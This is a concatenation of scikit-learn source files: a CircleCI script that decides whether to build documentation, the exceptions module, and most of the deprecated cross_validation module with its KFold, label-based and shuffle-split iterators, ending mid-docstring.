    check_and_cythonize(root_dir)


if __name__ == '__main__':
    try:
        root_dir_arg = sys.argv[1]
    except IndexError:
        root_dir_arg = DEFAULT_ROOT
    main(root_dir_arg)






"""Check whether we or not we should build the documentation

If the last commit message has a "[doc skip]" marker, do not build
the doc. On the contrary if a "[doc build]" marker is found, build the doc
instead of relying on the subsequent rules.

We always build the documentation for jobs that are not related to a specific
PR (e.g. a merge to master or a maintenance branch).

If this is a PR, check that if there are some files in this PR that are under
the "doc/" or "examples/" folders, otherwise skip.

If the introspection of the current commit fails for any reason, the default
behavior is to build the documentation.

"""
import sys
import os
from subprocess import check_output, CalledProcessError


def exit(msg="", skip=False):
    print("%s: %s" % ("SKIP" if skip else "BUILD", msg))
    sys.exit(0)

# Introspect the message for the commit that triggered the build
commit = os.environ.get('CIRCLE_SHA1')
if not commit:
    exit("undefined CIRCLE_SHA1 variable")
try:
    commit_msg = check_output("git log --format=%B -n 1".split() + [commit])
    commit_msg = commit_msg.decode('utf-8')
except CalledProcessError:
    exit("failed to introspect commit message for %s" % commit)

if "[doc skip]" in commit_msg:
    exit("[doc skip] marker found", skip=True)
elif "[doc build]" in commit_msg:
    exit("[doc build] marker found")

# Check whether this commit is part of a pull request or not
pr_url = os.environ.get('CI_PULL_REQUEST')
if not pr_url:
    # The documentation should be always built when executed from one of the
    # main branches
    exit("not a pull request")

# Introspect the list of files changed by all the commits in this PR.
# Hardcode the assumption that this is a PR to origin/master of this repo
# as apparently there is way to reliably get the target of a PR with circle
# ci
git_range = "origin/master...%s" % commit
try:
    check_output("git fetch origin master".split())
    filenames = check_output("git diff --name-only".split() + [git_range])
except CalledProcessError:
    exit("git introspection failed.")
filenames = filenames.decode('utf-8').split()
for filename in filenames:
    if filename.startswith(u'doc/') or filename.startswith(u'examples/'):
        exit("detected doc impacting file modified by PR in range %s: %s"
             % (git_range, filename))

# This PR does not seem to have any documentation related file changed.
msg = "no doc impacting files detected:\n" + u"\n".join(filenames)
exit(msg, skip=True)






"""
The :mod:`sklearn.exceptions` module includes all custom warnings and error
classes used across scikit-learn.
"""

__all__ = ['NotFittedError',
           'ChangedBehaviorWarning',
           'ConvergenceWarning',
           'DataConversionWarning',
           'DataDimensionalityWarning',
           'EfficiencyWarning',
           'FitFailedWarning',
           'NonBLASDotWarning',
           'UndefinedMetricWarning']


class NotFittedError(ValueError, AttributeError):
    """Exception class to raise if estimator is used before fitting.

    This class inherits from both ValueError and AttributeError to help with
    exception handling and backward compatibility.

    Examples
    --------
    >>> from sklearn.svm import LinearSVC
    >>> from sklearn.exceptions import NotFittedError
    >>> try:
    ...     LinearSVC().predict([[1, 2], [2, 3], [3, 4]])
    ... except NotFittedError as e:
    ...     print(repr(e))
    ...                        # doctest: +NORMALIZE_WHITESPACE +ELLIPSIS
    NotFittedError('This LinearSVC instance is not fitted yet',)
    """


class ChangedBehaviorWarning(UserWarning):
    """Warning class used to notify the user of any change in the behavior."""


class ConvergenceWarning(UserWarning):
    """Custom warning to capture convergence problems"""


class DataConversionWarning(UserWarning):
    """Warning used to notify implicit data conversions happening in the code.

    This warning occurs when some input data needs to be converted or
    interpreted in a way that may not match the user's expectations.

    For example, this warning may occur when the user
        - passes an integer array to a function which expects float input and
          will convert the input
        - requests a non-copying operation, but a copy is required to meet the
          implementation's data-type expectations;
        - passes an input whose shape can be interpreted ambiguously.
    """


class DataDimensionalityWarning(UserWarning):
    """Custom warning to notify potential issues with data dimensionality.

    For example, in random projection, this warning is raised when the
    number of components, which quantifies the dimensionality of the target
    projection space, is higher than the number of features, which quantifies
    the dimensionality of the original source space, to imply that the
    dimensionality of the problem will not be reduced.
    """


class EfficiencyWarning(UserWarning):
    """Warning used to notify the user of inefficient computation.

    This warning notifies the user that the efficiency may not be optimal due
    to some reason which may be included as a part of the warning message.
    This may be subclassed into a more specific Warning class.
    """


class FitFailedWarning(RuntimeWarning):
    """Warning class used if there is an error while fitting the estimator.

    This Warning is used in meta estimators GridSearchCV and RandomizedSearchCV
    and the cross-validation helper function cross_val_score to warn when there
    is an error while fitting the estimator.

    Examples
    --------
    >>> from sklearn.model_selection import GridSearchCV
    >>> from sklearn.svm import LinearSVC
    >>> from sklearn.exceptions import FitFailedWarning
    >>> import warnings
    >>> warnings.simplefilter('always', FitFailedWarning)
    >>> gs = GridSearchCV(LinearSVC(), {'C': [-1, -2]}, error_score=0)
    >>> X, y = [[1, 2], [3, 4], [5, 6], [7, 8], [8, 9]], [0, 0, 0, 1, 1]
    >>> with warnings.catch_warnings(record=True) as w:
    ...     try:
    ...         gs.fit(X, y)   # This will raise a ValueError since C is < 0
    ...     except ValueError:
    ...         pass
    ...     print(repr(w[-1].message))
    ... # doctest: +NORMALIZE_WHITESPACE
    FitFailedWarning("Classifier fit failed. The score on this train-test
    partition for these parameters will be set to 0.000000. Details:
    \\nValueError('Penalty term must be positive; got (C=-2)',)",)
    """


class NonBLASDotWarning(EfficiencyWarning):
    """Warning used when the dot operation does not use BLAS.

    This warning is used to notify the user that BLAS was not used for dot
    operation and hence the efficiency may be affected.
    """


class UndefinedMetricWarning(UserWarning):
    """Warning used when the metric is invalid"""







"""
The :mod:`sklearn.cross_validation` module includes utilities for cross-
validation and performance evaluation.
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>,
#         Gael Varoquaux <gael.varoquaux@normalesup.org>,
#         Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from __future__ import print_function
from __future__ import division

import warnings
from itertools import chain, combinations
from math import ceil, floor, factorial
import numbers
import time
from abc import ABCMeta, abstractmethod

import numpy as np
import scipy.sparse as sp

from .base import is_classifier, clone
from .utils import indexable, check_random_state, safe_indexing
from .utils.validation import (_is_arraylike, _num_samples,
                               column_or_1d)
from .utils.multiclass import type_of_target
from .externals.joblib import Parallel, delayed, logger
from .externals.six import with_metaclass
from .externals.six.moves import zip
from .metrics.scorer import check_scoring
from .utils.fixes import bincount
from .gaussian_process.kernels import Kernel as GPKernel
from .exceptions import FitFailedWarning


warnings.warn("This module was deprecated in version 0.18 in favor of the "
              "model_selection module into which all the refactored classes "
              "and functions are moved. Also note that the interface of the "
              "new CV iterators are different from that of this module. "
              "This module will be removed in 0.20.", DeprecationWarning)


__all__ = ['KFold',
           'LabelKFold',
           'LeaveOneLabelOut',
           'LeaveOneOut',
           'LeavePLabelOut',
           'LeavePOut',
           'ShuffleSplit',
           'StratifiedKFold',
           'StratifiedShuffleSplit',
           'PredefinedSplit',
           'LabelShuffleSplit',
           'check_cv',
           'cross_val_score',
           'cross_val_predict',
           'permutation_test_score',
           'train_test_split']


class _PartitionIterator(with_metaclass(ABCMeta)):
    """Base class for CV iterators where train_mask = ~test_mask

    Implementations must define `_iter_test_masks` or `_iter_test_indices`.

    Parameters
    ----------
    n : int
        Total number of elements in dataset.
    """

    def __init__(self, n):
        if abs(n - int(n)) >= np.finfo('f').eps:
            raise ValueError("n must be an integer")
        self.n = int(n)

    def __iter__(self):
        ind = np.arange(self.n)
        for test_index in self._iter_test_masks():
            train_index = np.logical_not(test_index)
            train_index = ind[train_index]
            test_index = ind[test_index]
            yield train_index, test_index

    # Since subclasses must implement either _iter_test_masks or
    # _iter_test_indices, neither can be abstract.
    def _iter_test_masks(self):
        """Generates boolean masks corresponding to test sets.

        By default, delegates to _iter_test_indices()
        """
        for test_index in self._iter_test_indices():
            test_mask = self._empty_mask()
            test_mask[test_index] = True
            yield test_mask

    def _iter_test_indices(self):
        """Generates integer indices corresponding to test sets."""
        raise NotImplementedError

    def _empty_mask(self):
        return np.zeros(self.n, dtype=np.bool)


class LeaveOneOut(_PartitionIterator):
    """Leave-One-Out cross validation iterator.

    Provides train/test indices to split data in train test sets. Each
    sample is used once as a test set (singleton) while the remaining
    samples form the training set.

    Note: ``LeaveOneOut(n)`` is equivalent to ``KFold(n, n_folds=n)`` and
    ``LeavePOut(n, p=1)``.

    Due to the high number of test sets (which is the same as the
    number of samples) this cross validation method can be very costly.
    For large datasets one should favor KFold, StratifiedKFold or
    ShuffleSplit.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n : int
        Total number of elements in dataset.

    Examples
    --------
    >>> from sklearn import cross_validation
    >>> X = np.array([[1, 2], [3, 4]])
    >>> y = np.array([1, 2])
    >>> loo = cross_validation.LeaveOneOut(2)
    >>> len(loo)
    2
    >>> print(loo)
    sklearn.cross_validation.LeaveOneOut(n=2)
    >>> for train_index, test_index in loo:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [1] TEST: [0]
    [[3 4]] [[1 2]] [2] [1]
    TRAIN: [0] TEST: [1]
    [[1 2]] [[3 4]] [1] [2]

    See also
    --------
    LeaveOneLabelOut for splitting the data according to explicit,
    domain-specific stratification of the dataset.
    """

    def _iter_test_indices(self):
        return range(self.n)

    def __repr__(self):
        return '%s.%s(n=%i)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.n,
        )

    def __len__(self):
        return self.n


class LeavePOut(_PartitionIterator):
    """Leave-P-Out cross validation iterator

    Provides train/test indices to split data in train test sets. This results
    in testing on all distinct samples of size p, while the remaining n - p
    samples form the training set in each iteration.

    Note: ``LeavePOut(n, p)`` is NOT equivalent to ``KFold(n, n_folds=n // p)``
    which creates non-overlapping test sets.

    Due to the high number of iterations which grows combinatorically with the
    number of samples this cross validation method can be very costly. For
    large datasets one should favor KFold, StratifiedKFold or ShuffleSplit.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n : int
        Total number of elements in dataset.

    p : int
        Size of the test sets.

    Examples
    --------
    >>> from sklearn import cross_validation
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 3, 4])
    >>> lpo = cross_validation.LeavePOut(4, 2)
    >>> len(lpo)
    6
    >>> print(lpo)
    sklearn.cross_validation.LeavePOut(n=4, p=2)
    >>> for train_index, test_index in lpo:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [2 3] TEST: [0 1]
    TRAIN: [1 3] TEST: [0 2]
    TRAIN: [1 2] TEST: [0 3]
    TRAIN: [0 3] TEST: [1 2]
    TRAIN: [0 2] TEST: [1 3]
    TRAIN: [0 1] TEST: [2 3]
    """

    def __init__(self, n, p):
        super(LeavePOut, self).__init__(n)
        self.p = p

    def _iter_test_indices(self):
        for comb in combinations(range(self.n), self.p):
            yield np.array(comb)

    def __repr__(self):
        return '%s.%s(n=%i, p=%i)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.n,
            self.p,
        )

    def __len__(self):
        return int(factorial(self.n) / factorial(self.n - self.p)
                   / factorial(self.p))


class _BaseKFold(with_metaclass(ABCMeta, _PartitionIterator)):
    """Base class to validate KFold approaches"""

    @abstractmethod
    def __init__(self, n, n_folds, shuffle, random_state):
        super(_BaseKFold, self).__init__(n)

        if abs(n_folds - int(n_folds)) >= np.finfo('f').eps:
            raise ValueError("n_folds must be an integer")
        self.n_folds = n_folds = int(n_folds)

        if n_folds <= 1:
            raise ValueError(
                "k-fold cross validation requires at least one"
                " train / test split by setting n_folds=2 or more,"
                " got n_folds={0}.".format(n_folds))
        if n_folds > self.n:
            raise ValueError(
                ("Cannot have number of folds n_folds={0} greater"
                 " than the number of samples: {1}.").format(n_folds, n))

        if not isinstance(shuffle, bool):
            raise TypeError("shuffle must be True or False;"
                            " got {0}".format(shuffle))
        self.shuffle = shuffle
        self.random_state = random_state


class KFold(_BaseKFold):
    """K-Folds cross validation iterator.

    Provides train/test indices to split data in train test sets. Split
    dataset into k consecutive folds (without shuffling by default).

    Each fold is then used as a validation set once while the k - 1 remaining
    fold(s) form the training set.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n : int
        Total number of elements.

    n_folds : int, default=3
        Number of folds. Must be at least 2.

    shuffle : boolean, optional
        Whether to shuffle the data before splitting into batches.

    random_state : None, int or RandomState
        When shuffle=True, pseudo-random number generator state used for
        shuffling. If None, use default numpy RNG for shuffling.

    Examples
    --------
    >>> from sklearn.cross_validation import KFold
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([1, 2, 3, 4])
    >>> kf = KFold(4, n_folds=2)
    >>> len(kf)
    2
    >>> print(kf)  # doctest: +NORMALIZE_WHITESPACE
    sklearn.cross_validation.KFold(n=4, n_folds=2, shuffle=False,
                                   random_state=None)
    >>> for train_index, test_index in kf:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [2 3] TEST: [0 1]
    TRAIN: [0 1] TEST: [2 3]

    Notes
    -----
    The first n % n_folds folds have size n // n_folds + 1, other folds have
    size n // n_folds.

    See also
    --------
    StratifiedKFold take label information into account to avoid building
    folds with imbalanced class distributions (for binary or multiclass
    classification tasks).

    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, n, n_folds=3, shuffle=False,
                 random_state=None):
        super(KFold, self).__init__(n, n_folds, shuffle, random_state)
        self.idxs = np.arange(n)
        if shuffle:
            rng = check_random_state(self.random_state)
            rng.shuffle(self.idxs)

    def _iter_test_indices(self):
        n = self.n
        n_folds = self.n_folds
        fold_sizes = (n // n_folds) * np.ones(n_folds, dtype=np.int)
        fold_sizes[:n % n_folds] += 1
        current = 0
        for fold_size in fold_sizes:
            start, stop = current, current + fold_size
            yield self.idxs[start:stop]
            current = stop

    def __repr__(self):
        return '%s.%s(n=%i, n_folds=%i, shuffle=%s, random_state=%s)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.n,
            self.n_folds,
            self.shuffle,
            self.random_state,
        )

    def __len__(self):
        return self.n_folds


class LabelKFold(_BaseKFold):
    """K-fold iterator variant with non-overlapping labels.

    The same label will not appear in two different folds (the number of
    distinct labels has to be at least equal to the number of folds).

    The folds are approximately balanced in the sense that the number of
    distinct labels is approximately the same in each fold.

    .. versionadded:: 0.17

    Parameters
    ----------
    labels : array-like with shape (n_samples, )
        Contains a label for each sample.
        The folds are built so that the same label does not appear in two
        different folds.

    n_folds : int, default=3
        Number of folds. Must be at least 2.

    Examples
    --------
    >>> from sklearn.cross_validation import LabelKFold
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 3, 4])
    >>> labels = np.array([0, 0, 2, 2])
    >>> label_kfold = LabelKFold(labels, n_folds=2)
    >>> len(label_kfold)
    2
    >>> print(label_kfold)
    sklearn.cross_validation.LabelKFold(n_labels=4, n_folds=2)
    >>> for train_index, test_index in label_kfold:
    ...     print("TRAIN:", train_index, "TEST:", test_index)
    ...     X_train, X_test = X[train_index], X[test_index]
    ...     y_train, y_test = y[train_index], y[test_index]
    ...     print(X_train, X_test, y_train, y_test)
    ...
    TRAIN: [0 1] TEST: [2 3]
    [[1 2]
     [3 4]] [[5 6]
     [7 8]] [1 2] [3 4]
    TRAIN: [2 3] TEST: [0 1]
    [[5 6]
     [7 8]] [[1 2]
     [3 4]] [3 4] [1 2]

    See also
    --------
    LeaveOneLabelOut for splitting the data according to explicit,
    domain-specific stratification of the dataset.
    """
    def __init__(self, labels, n_folds=3):
        super(LabelKFold, self).__init__(len(labels), n_folds,
                                         shuffle=False, random_state=None)

        unique_labels, labels = np.unique(labels, return_inverse=True)
        n_labels = len(unique_labels)

        if n_folds > n_labels:
            raise ValueError(
                    ("Cannot have number of folds n_folds={0} greater"
                     " than the number of labels: {1}.").format(n_folds,
                                                                n_labels))

        # Weight labels by their number of occurrences
        n_samples_per_label = np.bincount(labels)

        # Distribute the most frequent labels first
        indices = np.argsort(n_samples_per_label)[::-1]
        n_samples_per_label = n_samples_per_label[indices]

        # Total weight of each fold
        n_samples_per_fold = np.zeros(n_folds)

        # Mapping from label index to fold index
        label_to_fold = np.zeros(len(unique_labels))

        # Distribute samples by adding the largest weight to the lightest fold
        for label_index, weight in enumerate(n_samples_per_label):
            lightest_fold = np.argmin(n_samples_per_fold)
            n_samples_per_fold[lightest_fold] += weight
            label_to_fold[indices[label_index]] = lightest_fold

        self.idxs = label_to_fold[labels]

    def _iter_test_indices(self):
        for f in range(self.n_folds):
            yield np.where(self.idxs == f)[0]

    def __repr__(self):
        return '{0}.{1}(n_labels={2}, n_folds={3})'.format(
            self.__class__.__module__,
            self.__class__.__name__,
            self.n,
            self.n_folds,
        )

    def __len__(self):
        return self.n_folds


class StratifiedKFold(_BaseKFold):
    """Stratified K-Folds cross validation iterator

    Provides train/test indices to split data in train test sets.

    This cross-validation object is a variation of KFold that
    returns stratified folds. The folds are made by preserving
    the percentage of samples for each class.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    y : array-like, [n_samples]
        Samples to split in K folds.

    n_folds : int, default=3
        Number of folds. Must be at least 2.

    shuffle : boolean, optional
        Whether to shuffle each stratification of the data before splitting
        into batches.

    random_state : None, int or RandomState
        When shuffle=True, pseudo-random number generator state used for
        shuffling. If None, use default numpy RNG for shuffling.

    Examples
    --------
    >>> from sklearn.cross_validation import StratifiedKFold
    >>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
    >>> y = np.array([0, 0, 1, 1])
    >>> skf = StratifiedKFold(y, n_folds=2)
    >>> len(skf)
    2
    >>> print(skf)  # doctest: +NORMALIZE_WHITESPACE
    sklearn.cross_validation.StratifiedKFold(labels=[0 0 1 1], n_folds=2,
                                             shuffle=False, random_state=None)
    >>> for train_index, test_index in skf:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    TRAIN: [1 3] TEST: [0 2]
    TRAIN: [0 2] TEST: [1 3]

    Notes
    -----
    All the folds have size trunc(n_samples / n_folds), the last one has the
    complementary.

    See also
    --------
    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, y, n_folds=3, shuffle=False,
                 random_state=None):
        super(StratifiedKFold, self).__init__(
            len(y), n_folds, shuffle, random_state)
        y = np.asarray(y)
        n_samples = y.shape[0]
        unique_labels, y_inversed = np.unique(y, return_inverse=True)
        label_counts = bincount(y_inversed)
        min_labels = np.min(label_counts)
        if np.all(self.n_folds > label_counts):
            raise ValueError("All the n_labels for individual classes"
                             " are less than %d folds."
                             % (self.n_folds))
        if self.n_folds > min_labels:
            warnings.warn(("The least populated class in y has only %d"
                           " members, which is too few. The minimum"
                           " number of labels for any class cannot"
                           " be less than n_folds=%d."
                           % (min_labels, self.n_folds)), Warning)

        # don't want to use the same seed in each label's shuffle
        if self.shuffle:
            rng = check_random_state(self.random_state)
        else:
            rng = self.random_state

        # pre-assign each sample to a test fold index using individual KFold
        # splitting strategies for each label so as to respect the
        # balance of labels
        per_label_cvs = [
            KFold(max(c, self.n_folds), self.n_folds, shuffle=self.shuffle,
                  random_state=rng) for c in label_counts]
        test_folds = np.zeros(n_samples, dtype=np.int)
        for test_fold_idx, per_label_splits in enumerate(zip(*per_label_cvs)):
            for label, (_, test_split) in zip(unique_labels, per_label_splits):
                label_test_folds = test_folds[y == label]
                # the test split can be too big because we used
                # KFold(max(c, self.n_folds), self.n_folds) instead of
                # KFold(c, self.n_folds) to make it possible to not crash even
                # if the data is not 100% stratifiable for all the labels
                # (we use a warning instead of raising an exception)
                # If this is the case, let's trim it:
                test_split = test_split[test_split < len(label_test_folds)]
                label_test_folds[test_split] = test_fold_idx
                test_folds[y == label] = label_test_folds

        self.test_folds = test_folds
        self.y = y

    def _iter_test_masks(self):
        for i in range(self.n_folds):
            yield self.test_folds == i

    def __repr__(self):
        return '%s.%s(labels=%s, n_folds=%i, shuffle=%s, random_state=%s)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.y,
            self.n_folds,
            self.shuffle,
            self.random_state,
        )

    def __len__(self):
        return self.n_folds


class LeaveOneLabelOut(_PartitionIterator):
    """Leave-One-Label_Out cross-validation iterator

    Provides train/test indices to split data according to a third-party
    provided label. This label information can be used to encode arbitrary
    domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    labels : array-like of int with shape (n_samples,)
        Arbitrary domain-specific stratification of the data to be used
        to draw the splits.

    Examples
    --------
    >>> from sklearn import cross_validation
    >>> X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    >>> y = np.array([1, 2, 1, 2])
    >>> labels = np.array([1, 1, 2, 2])
    >>> lol = cross_validation.LeaveOneLabelOut(labels)
    >>> len(lol)
    2
    >>> print(lol)
    sklearn.cross_validation.LeaveOneLabelOut(labels=[1 1 2 2])
    >>> for train_index, test_index in lol:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [2 3] TEST: [0 1]
    [[5 6]
     [7 8]] [[1 2]
     [3 4]] [1 2] [1 2]
    TRAIN: [0 1] TEST: [2 3]
    [[1 2]
     [3 4]] [[5 6]
     [7 8]] [1 2] [1 2]

    See also
    --------
    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, labels):
        super(LeaveOneLabelOut, self).__init__(len(labels))
        # We make a copy of labels to avoid side-effects during iteration
        self.labels = np.array(labels, copy=True)
        self.unique_labels = np.unique(labels)
        self.n_unique_labels = len(self.unique_labels)

    def _iter_test_masks(self):
        for i in self.unique_labels:
            yield self.labels == i

    def __repr__(self):
        return '%s.%s(labels=%s)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.labels,
        )

    def __len__(self):
        return self.n_unique_labels


class LeavePLabelOut(_PartitionIterator):
    """Leave-P-Label_Out cross-validation iterator

    Provides train/test indices to split data according to a third-party
    provided label. This label information can be used to encode arbitrary
    domain specific stratifications of the samples as integers.

    For instance the labels could be the year of collection of the samples
    and thus allow for cross-validation against time-based splits.

    The difference between LeavePLabelOut and LeaveOneLabelOut is that
    the former builds the test sets with all the samples assigned to
    ``p`` different values of the labels while the latter uses samples
    all assigned the same labels.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    labels : array-like of int with shape (n_samples,)
        Arbitrary domain-specific stratification of the data to be used
        to draw the splits.

    p : int
        Number of samples to leave out in the test split.

    Examples
    --------
    >>> from sklearn import cross_validation
    >>> X = np.array([[1, 2], [3, 4], [5, 6]])
    >>> y = np.array([1, 2, 1])
    >>> labels = np.array([1, 2, 3])
    >>> lpl = cross_validation.LeavePLabelOut(labels, p=2)
    >>> len(lpl)
    3
    >>> print(lpl)
    sklearn.cross_validation.LeavePLabelOut(labels=[1 2 3], p=2)
    >>> for train_index, test_index in lpl:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...    X_train, X_test = X[train_index], X[test_index]
    ...    y_train, y_test = y[train_index], y[test_index]
    ...    print(X_train, X_test, y_train, y_test)
    TRAIN: [2] TEST: [0 1]
    [[5 6]] [[1 2]
     [3 4]] [1] [1 2]
    TRAIN: [1] TEST: [0 2]
    [[3 4]] [[1 2]
     [5 6]] [2] [1 1]
    TRAIN: [0] TEST: [1 2]
    [[1 2]] [[3 4]
     [5 6]] [1] [2 1]

    See also
    --------
    LabelKFold: K-fold iterator variant with non-overlapping labels.
    """

    def __init__(self, labels, p):
        # We make a copy of labels to avoid side-effects during iteration
        super(LeavePLabelOut, self).__init__(len(labels))
        self.labels = np.array(labels, copy=True)
        self.unique_labels = np.unique(labels)
        self.n_unique_labels = len(self.unique_labels)
        self.p = p

    def _iter_test_masks(self):
        comb = combinations(range(self.n_unique_labels), self.p)
        for idx in comb:
            test_index = self._empty_mask()
            idx = np.array(idx)
            for l in self.unique_labels[idx]:
                test_index[self.labels == l] = True
            yield test_index

    def __repr__(self):
        return '%s.%s(labels=%s, p=%s)' % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.labels,
            self.p,
        )

    def __len__(self):
        return int(factorial(self.n_unique_labels) /
                   factorial(self.n_unique_labels - self.p) /
                   factorial(self.p))


class BaseShuffleSplit(with_metaclass(ABCMeta)):
    """Base class for ShuffleSplit and StratifiedShuffleSplit"""

    def __init__(self, n, n_iter=10, test_size=0.1, train_size=None,
                 random_state=None):
        self.n = n
        self.n_iter = n_iter
        self.test_size = test_size
        self.train_size = train_size
        self.random_state = random_state
        self.n_train, self.n_test = _validate_shuffle_split(n, test_size,
                                                            train_size)

    def __iter__(self):
        for train, test in self._iter_indices():
            yield train, test
        return

    @abstractmethod
    def _iter_indices(self):
        """Generate (train, test) indices"""


class ShuffleSplit(BaseShuffleSplit):
    """Random permutation cross-validation iterator.

    Yields indices to split data into training and test sets.

    Note: contrary to other cross-validation strategies, random splits
    do not guarantee that all folds will be different, although this is
    still very likely for sizeable datasets.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    n : int
        Total number of elements in the dataset.

    n_iter : int (default 10)
        Number of re-shuffling & splitting iterations.

    test_size : float (default 0.1), int, or None
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    Examples
    --------
    >>> from sklearn import cross_validation
    >>> rs = cross_validation.ShuffleSplit(4, n_iter=3,
    ...     test_size=.25, random_state=0)
    >>> len(rs)
    3
    >>> print(rs)
    ... # doctest: +ELLIPSIS
    ShuffleSplit(4, n_iter=3, test_size=0.25, ...)
    >>> for train_index, test_index in rs:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...
    TRAIN: [3 1 0] TEST: [2]
    TRAIN: [2 1 3] TEST: [0]
    TRAIN: [0 2 1] TEST: [3]

    >>> rs = cross_validation.ShuffleSplit(4, n_iter=3,
    ...     train_size=0.5, test_size=.25, random_state=0)
    >>> for train_index, test_index in rs:
    ...    print("TRAIN:", train_index, "TEST:", test_index)
    ...
    TRAIN: [3 1] TEST: [2]
    TRAIN: [2 1] TEST: [0]
    TRAIN: [0 2] TEST: [3]

    """

    def _iter_indices(self):
        rng = check_random_state(self.random_state)
        for i in range(self.n_iter):
            # random partition
            permutation = rng.permutation(self.n)
            ind_test = permutation[:self.n_test]
            ind_train = permutation[self.n_test:self.n_test + self.n_train]
            yield ind_train, ind_test

    def __repr__(self):
        return ('%s(%d, n_iter=%d, test_size=%s, '
                'random_state=%s)' % (
                    self.__class__.__name__,
                    self.n,
                    self.n_iter,
                    str(self.test_size),
                    self.random_state,
                ))

    def __len__(self):
        return self.n_iter


def _validate_shuffle_split(n, test_size, train_size):
    if test_size is None and train_size is None:
        raise ValueError(
            'test_size and train_size can not both be None')

    if test_size is not None:
        if np.asarray(test_size).dtype.kind == 'f':
            if test_size >= 1.:
                raise ValueError(
                    'test_size=%f should be smaller '
                    'than 1.0 or be an integer' % test_size)
        elif np.asarray(test_size).dtype.kind == 'i':
            if test_size >= n:
                raise ValueError(
                    'test_size=%d should be smaller '
                    'than the number of samples %d' % (test_size, n))
        else:
            raise ValueError("Invalid value for test_size: %r" % test_size)

    if train_size is not None:
        if np.asarray(train_size).dtype.kind == 'f':
            if train_size >= 1.:
                raise ValueError("train_size=%f should be smaller "
                                 "than 1.0 or be an integer" % train_size)
            elif np.asarray(test_size).dtype.kind == 'f' and \
                    train_size + test_size > 1.:
                raise ValueError('The sum of test_size and train_size = %f, '
                                 'should be smaller than 1.0. Reduce '
                                 'test_size and/or train_size.' %
                                 (train_size + test_size))
        elif np.asarray(train_size).dtype.kind == 'i':
            if train_size >= n:
                raise ValueError("train_size=%d should be smaller "
                                 "than the number of samples %d" %
                                 (train_size, n))
        else:
            raise ValueError("Invalid value for train_size: %r" % train_size)

    if np.asarray(test_size).dtype.kind == 'f':
        n_test = ceil(test_size * n)
    elif np.asarray(test_size).dtype.kind == 'i':
        n_test = float(test_size)

    if train_size is None:
        n_train = n - n_test
    else:
        if np.asarray(train_size).dtype.kind == 'f':
            n_train = floor(train_size * n)
        else:
            n_train = float(train_size)

    if test_size is None:
        n_test = n - n_train

    if n_train + n_test > n:
        raise ValueError('The sum of train_size and test_size = %d, '
                         'should be smaller than the number of '
                         'samples %d. Reduce test_size and/or '
                         'train_size.' % (n_train + n_test, n))

    return int(n_train), int(n_test)


class StratifiedShuffleSplit(BaseShuffleSplit):
    """Stratified ShuffleSplit cross validation iterator

    Provides train/test indices to split data in train test sets.

    This cross-validation object is a merge of StratifiedKFold and
    ShuffleSplit, which returns stratified randomized folds. The folds
    are made by preserving the percentage of samples for each class.

    Note: like the ShuffleSplit strategy, stratified random splits
    do not guarantee that all folds will be different, although this is
    still very likely for sizeable datasets.

    Read more in the :ref:`User Guide <cross_validation>`.

    Parameters
    ----------
    y : array, [n_samples]
        Labels of samples.

    n_iter : int (default 10)
        Number of re-shuffling & splitting iterations.

    test_size : float (default 0.1), int, or None
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the test split. If
        int, represents the absolute number of test samples. If None,
        the value is automatically set to the complement of the train size.

    train_size : float, int, or None (default is None)
        If float, should be between 0.0 and 1.0 and represent the
        proportion of the dataset to include in the train split. If
        int, represents the absolute number of train samples. If None,
        the value is automatically set to the complement of the test size.

